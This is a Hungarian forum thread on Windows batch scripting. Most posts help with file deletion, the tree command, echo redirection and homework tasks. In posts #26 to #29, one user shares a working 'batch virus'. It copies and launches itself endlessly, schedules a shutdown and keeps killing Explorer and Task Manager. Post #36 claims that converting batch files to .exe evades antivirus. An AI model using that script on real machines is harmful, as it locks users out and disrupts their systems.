Batch programozás

Jelentkezz be a hozzászóláshoz.

Dj Faustus
#60
tree /?
Egy meghajtó vagy elérési út mappastruktúrájának grafikus megjelenítése.

TREE
[/a]

  /F Az összes fájl nevének megjelenítése az összes mappában.
  /A ASCII-karakterek használata bõvített karakterek helyett.

#59
fastruktúrát szeretném kilistázni, de dir /s hatására nem mind jelenik meg
gondolom mert hosszú fájlnevek, ékezetek, stb.
hogyan lehetne ezt áthidalni?

sdram
#58
Üdv mindenki

lenne egy ilyen problémám

cls
echo szöveg > ennyi.txt
echo type ennyi.txt >> ennyi.txt > pro.txt
exit


azt akarom elérni hogy ezt : type ennyi.txt >> ennyi.txt
beírja a pro.bat ba de sehogy se akarja ezt egyszerû szövegként értelmezni próbáltam "" ilyenek közé rakni akkor beírja de " ezekkel együtt

elõre is kösz a megoldást

Misi az ezredes
#57
esetleg valaki a telnet használatát le tudná írni?

A fájdalom elkerülhetetlen. A szenvedés választás dolga. ... Hirosima '45 .... Csernobil '86 ...... Windows '95 ...

#56
rd /s /q c:\Törlendõ_könyvtár_neve
így kérdezés nélkül letörli az egész könyvtárat, de vigyázni ha a c:\ után nincs semmi akkor az egész C-t fogja letörölni

\"Nem tudtam, hogy lehetelen, ezért megcsináltam!\"

Dj Faustus
#55
"tudja valaki hogy lehet megnyitni .bat filet h szerkeszteni tudjam? "
Jegyzettömbbel, vagy más hasonló egyszeri szövegszerkesztõ/kódszerkesztõ alkalmazással (utóbbira: PsPad, Notepad++, Notepad2, jEdit, ConText).

#54
tudja valaki hogy lehet megnyitni .bat filet h szerkeszteni tudjam?

#53
:D

Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa

red bull
#52
JAAA :D jovan szoljál :D

VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME

#51
lol...nemkell egyenként beírni a fájneveket meg kiterjesztéseket XD istenem-.-... azért van a *.* hogy minden fájlt kitöröljön...

Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa

red bull
#50
de ha pl egy mappába több fájl van akkor ez igy kurva hosszadalmas munka... Nah mind1 azért kösz a segítséget...

VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME

#49
-.- akkor így írod be...:

del /q D:\valami\*.*
rd /q D:\valami
exit

Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa

red bull
#48
oké igy már jo de ezzel az a baj hogy a bennelévõ fájlokat nem törli ki... nah mind 1 azért köszi

VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME

#47
akkor meg:

rd /q (és a könyvtár..)

Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa

red bull
#46
Nekem nem megy. Csak fájloknál, de mappáknál meg ugyanugy rákérdez... :S

VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME

#45
nekem tudna vki segíteni még? úgy aakrok másolni egy fájlt hogy mindig más nevet adjon neki és ne írja felül magát plz segítsetek:S

Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa

#44
szeva
ezt írd be:

del /q (és amit törölni akarsz...:))

Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa

red bull
#43
Nekem segítenél? Énis ugyanezt akarom hogy ne kérdezzen rá. Tudom ... a sugó, csak én kezdõ vagyok még és az alapján nem nagyon tudok eligazodni... :S PLSSS HELP :S

VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME

#42
köszi már megvan:) a másikra tudsz valami megoldást?

Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa

Dj Faustus
#41
"nemvágom...kijavítanád plz?:) "
Még egyszer elmondom: írd be, hogy del /? és kapsz egy teljeskörû súgót.
Tessék már egy kicsit önállónak lenni.

#40
lenne még egy kérdésem..melyik parancsal lehet beállítani azt, ha másolni akarok egy fájlt egy mappába egymás után és mindig ugyan azt..de ne írja felül, hanem a nevéhez rakjon hozzá egy számot vagy vmilyen betût..:S
plz segítsetek nagyon köszi!!

Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa

#39
del D:\valami\*.*

nemvágom...kijavítanád plz?:)

Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa

Dj Faustus
#38
Alapszabály a batch állományok készítésénél: parancs /? - megadja a parancs súgóját (mint Linux alatt a man parancs vagy az info parancs).

Tehát írd be: del /?

#37
Sziasztok! Batch segítség kéne! Hogy lehet úgy törölni fájlt hogy ne kérdezzen rá (i/n)? Elõre thx! Üdv.: NyoLc`

Intel Core2 Quad Q6600 @ 2,40Ghz, 2GB RAM, Gigabyte 8800GTS 512, RAZER Lachesis, RAZER Piranha, RAZER Mantis Control, RAZER Lycosa

red bull
#36
Szerintem nem. Mivel ha valaki batch vírust csinál akkor csak nem olyan hülye hogy nem konvertálja át .exe-be, mivel a .exe kiterjesztésbe átkonevrtált batch fájlokat nem szûrik a vírusírtók. Vagy ha mégis olyan hülye lenne akkor meg ha látod hogy a fájl batch akkor egybõl megnézed (jobb gomb/szerkesztés) hogy mit tartalmaz és akkor utánna egybõl észrveveszed

VIL-ASUS 8800GTS HDTV 320 MB PCI-E | AS-ASUS P5W DH Deluxe S775 | RAM: 4 GB(KINGMAX) | CPUI - Intel CORE 2 DUO E66 BOX S775 | Logitech G15 keyboard | Logitech G5 mouse | MAXIMUM GAME

#35
Batch antivírus programot(keresõt) lehet írni?
Dj Faustus
#34
1. megoldás: hozd elõ a parancssort (Start menü/Futtatásba írd be: cmd, majd Enter), keresd meg a batch állományok könyvtárát (a cd paranccsal tudsz navigálni a könyvtárszerkezetben), és futtasd a batch-állományt parancssorról.
2. megoldás: a batch állomány végére tegyél pause parancsot.

#33
Kérlek segítsetek. Rengeteg batch fájlt próbáltam már írni Jegyzettömbben, de a létrehozott fájlokat ha el indítom 1 mp-re fel villan egy DOS ablak és nem történik semmi más. Op rendszerem: Win XP Sp2.
#32
akkor majd irj :D
ffxi
#31
Fog majd, mert tanulni fogjuk jövõre :)

Fákjúal!

#30
latom nem nagyon erdekel senkit <#zavart1>
#29
ez azt csinalja hogy csinal 1 task.bat nevu batot ami azt csinalja hogy masolja on magat es elinditja vagy is 1 vegtelen folyamat es kozbe elindit a gepeden 1 vissza szamlalast ami kikapcsolja a geped es 2 modon lehet megalitani de ezt nem mondom el hogy amugy meg ennel a programnal 1ik sem muxik :D mert jol van megcsinalni es mikozbe vissza szamol folyamatosan lealitja az explorert mert ha nem alna le akkor meg lehetne alitani a vissza szamlalast de most nezem kimaradt ebbol a progibol 1 sor a tskill explorer ala meg be kene irni hogy tskill taskmgr mert igy most ezt is folyamatosan megalitja mert ha nem alitana akkor a masik modszerel le lehetne alitani a visszaszamlalast :D ja es a vegen a
:task
start task.bat
goto task meg azt teszi ogy folyamatosan ismetli azt a folyamatot ami a :task alat van vagy is a start task.bat vagy is 1folytaba elinditja a task.bat-ot ami meg masolatot csinal magarol es elinditja magat magyarul ha sikerul megalitanod a folyamatos meg nyilast akkor le al a rendszer a vissza szamlalas miat ha meg a vissza szamlalast sikerul meg alitanod akkor meg lefagysz valszeg persze ezek nem bisztosak :D
ffxi
#28
Én nemtom.

Fákjúal!

#27
kezdek en :) 1ik gyengusal durvat nem nagyon akarok meg osztani mert ki tudja mien celokra hasznalnatok :D

::Fire::
@echo off
echo. tskill taskmgr > task.bat
echo copy task.bat task.bat >> task.bat
echo start task.bat >> task.bat
shutdown -s -t 50
tskill explorer
:task
start task.bat
goto task


gondolom tudjatok mit csinal XD
#26
ujra kene eleszteni a topicot en eleg jol tok bat virusokat kesziteni es meg es ha van aki keszitget ieneket meg oszthatnank 1masal es meg leshetnenk oket hogy mienek meg hasonlok es nem hasznalom semmi rosz celra a sajatjaimat csak csinaltam oket okorsegbol :D
#25
Egyébként véletlenül találtam meg... s nem én vagyok ilyen okos... :-)
#24
Ha mégsem sikerülne letölteni - a részlet a dokumentumból...
------------------------------------------------------------
1. A batch fájl írja ki a gyökérkönyvtárból azokat, amelyek tartalmazzák az 1. paraméterben megadott karakterláncot.

@echo off
dir\|find "%1"

rem Ha nem megy, a parametersort irjuk NAGYBETUKKEL!
rem Javasolt kiprobalas: a paranccsorba irjuk be: TOE (kiirja: AUTOEXEC.BAT)

2. A batch fájl az indításakor megadott 3 paraméter közül csak azokat írja ki a képernyõre, amelyek tartalmazzák az „a” betût.

@echo off
echo %1|find "a"
echo %2|find "a"
echo %3|find "a"

rem Fontos! Nincs hibaellenorzes, feltetelezzuk hogy van 3 parameter!

3. A batch fájl az indításakor megadott 4 paraméter közül csak azokat írja ki a képernyõre (az elsõ 3 közül), amelyek tartalmazzák a 4. paraméterben megadott karakterláncot.

@echo off
echo %1|find "%4"
echo %2|find "%4"
echo %3|find "%4"

rem Fontos! Nincs hibaellenorzes, feltetelezzuk hogy van 4 parameter!
#23
XerPY A linket töltsétek le és nézzétek meg - ott van fullban mindhárom megoldás...
#22
Neked erre a linkre van szükséged:
Batch megoldás
vaaa
#21
15: ok, de a "dir \*%1*.*" fájlon belül is nézi ?/

A ciklust végig kéne próbálgatni, igazából string kezelõ függvényeket nem találtam sajnos.

hi

Dj Faustus
#20
"( ha a 15 öst jól értem, akkor nem a fájlnevekben kell keresni, hanem a fájl tartalomban??? )"
A 15-ös feladat kétértelmû. Lehet filenévben is karaktersorozatokat keresni, illetve magában a file-ban is.

A 16-os 17-es feladatok pedig abban van a bibi, hogy rész-karakterláncot kell keresni. Ha nem azt kéne, megoldható lenne egyszerû feltételekkel is:
IF %1==%4 ECHO %1
IF %2==%4 ECHO %2
IF %3==%4 ECHO %3


Sajnos a FOR /F-rõl nem találtam olyan példát, ahol kifejezetten sztringet kerestek sztringben. A súgó is eléggé elszomorító:
FOR /F ["beállítások"] %változó IN (fájlkészlet) DO parancs

FOR /F ["beállítások"] %változó IN ("karakterlánc") DO parancs

FOR /F ["beállítások"] %változó IN ('parancs') DO parancs


De itt sem járhatunk sok sikerrel. <#shakehead>

vaaa
#19
Összeszedem kb mik kellenek hozzá, ezekbõl kisebb gondolkodás után össze legózható:

( ha a 15 öst jól értem, akkor nem a fájlnevekben kell keresni, hanem a fájl tartalomban??? )
Findstr
Normál kifejezések használatával szövegmintákat keres fájlokban.

Szintaxis
findstr [/b] [/e] [/l] [/r] [/s] [/i] [/x] [/v] [/n] [/m] [/o] [/p] [/offline] [/g:fájl] [/f:fájl] [/c:karakterlánc] [/d:könyvtárlista] [/a:színattribútum] [ fájlnév <...>]


for /F ["elemzési_kulcsszavak"] {%% | %}változó in ("normál_karakterlánc") do parancs

három ciklust írnék, a három bemeneti argumentumra ( %1 %2 %3 ), és a ciklusmagban vizsgálnám az egyezést, ha egyezik, akkor gotoval elugrik, és kiiratni..

hi

#18
SZia!!
köszike de meglehetne oldani azt hogy ez Dos és Windowsban legyen?
Mert az "említett hölgyemény"nek sajnos így kell meg lehet oldani?
köszi
Zoli

Need for Speed Most Wanted

Dj Faustus
#17
1. Ez egy fórum, ne e-mailben várj segítséget.
2. Dos/Windows vagy Unix/Linux alatt érdekel a megoldás? Valószínûsítem hogy a az említett hölgyemény ez utóbbira kiváncsi.
3. Crack-et ne ajánlgass, azt tudunk találni a neten... Másrészt ez nem ilyen fórum.

A 15-ös feladat batch file-ja Dos/Windows alatt:
dir \*%1*.*

Ugyanez Linux/Unix alatt:
#!/bin/sh
ls / | grep $1


16-os feladat Unix/Linux alatt:
#!/bin/sh
echo $1 | grep a;
echo $2 | grep a;
echo $3 | grep a;


17-es feladat Unix/Linux alatt:
#!/bin/sh
echo $1 | grep $4;
echo $2 | grep $4;
echo $3 | grep $4;

#16
Sziasztok!!
Kérlek segítsetek egy kicsit!!
Itt lenne néhány feladat pontosan 3 és nem bírok velük igaz még 1 napja tanulom ezt a dolgot de nem megy és igazából még talán az is baj hogy nem magamnak tanulom hanem megkértek rá ráadásul egy lány. 21 éves és nemtudom miért kapta ezeket a feladatokat. (én 13 éves vagyok :P komolyan)
valaki megcsinálná nekem vagy elmagyarázná ezt az egészet? Holnap este 22:00-ig van idõnk.
Kérlek a választ vagy publikáljátok itt vagy küldjétek el mailba a [email protected] címre
Elõre is nagyon nagyon köszönöm a segítségeteket!!
Ha kell valami játékkal kapcsolatos dolog nektek vagy valami akkor szóljatok vagy írjatok mailt és megszerzem. Játékot ha nem is de amik kellenek hozzá mint pl inkább nem mondom:P az az akármi.exe amivel felülírod a játék exejét :P (Csak hogy ne tudjanak belémkötni :P)
nagyon köszi még 1*
A feladatok:

15. Feladat

A batch fájl írja ki a gyökérkönyvtárból azokat, amelyek tartalmazzák az 1. paraméterben megadott karakter-láncot.

16. Feladat

A batch fájl az indításakor megadott 3 paraméter közül csak azokat írja ki a képernyõre, amelyek tartalmazzák az “a” betût.

17. Feladat

A batch fájl az indításakor megadott 4 paraméter közül csak azokat írja ki a képernyõre (az elsõ 3 közül), amelyek tartalmazzák a 4. paraméterben megadott karakterláncot.

Need for Speed Most Wanted

[Jakuza]
#15
Itt megtalalod, hogyan hasznalhatod.
http://www.computerhope.com/if.htm

Dez: Inkompatibilitas definicioja jatekoknal: amikor fut,de csak pl. 1 fps-sel,vagy össze-vissza akadozva,irányíthatatlanul 2. K8-nál alapból mindig 200MHz az FSB. Csak tuning által lesz magasabb.

[Jakuza]
#14
Az if valtozoval.

Dez: Inkompatibilitas definicioja jatekoknal: amikor fut,de csak pl. 1 fps-sel,vagy össze-vissza akadozva,irányíthatatlanul 2. K8-nál alapból mindig 200MHz az FSB. Csak tuning által lesz magasabb.

Shep
#13
Tud nekem segíteni vki abban, hogy amikor egy olyan részhez ér a bat file, ogy választani kell 2 lehetõség közül, akkor az egyik automatikusan bíródjon és tovább fusson a dolog, tehát pl igen/nem lehetõség van akkor mondjuk az igen automatikusan bíródjon.

"...a labda mindenhol gömböly?, a focisták mindenhol kenhet?ek, a bírók meg mindenütt befújják a kamu büntet?t" Játszd körbe coin+concede kombóval!

ffxi
#12
<#wow2> És min értesz ezt "Alantabb láthatsz példákat is." Hol lehet ezt megnézni?<#conf> És várom a következõ "leckét"!<#worship>

Fákjúal!

artschiatwork
#11
Ha jól emléxem, a batch kötegelt parancsfile, ami azt jelenti, hogy egy .bat kiterjesztésû file-ban egyszerre több parancs írható be, ami mind végrehajtódik, miután elindítottad ezt a file-t. Pl. egy .bat file-ba beírhatsz másolást, törlést, átnevezést stb.

Alantabb láthatsz példákat is.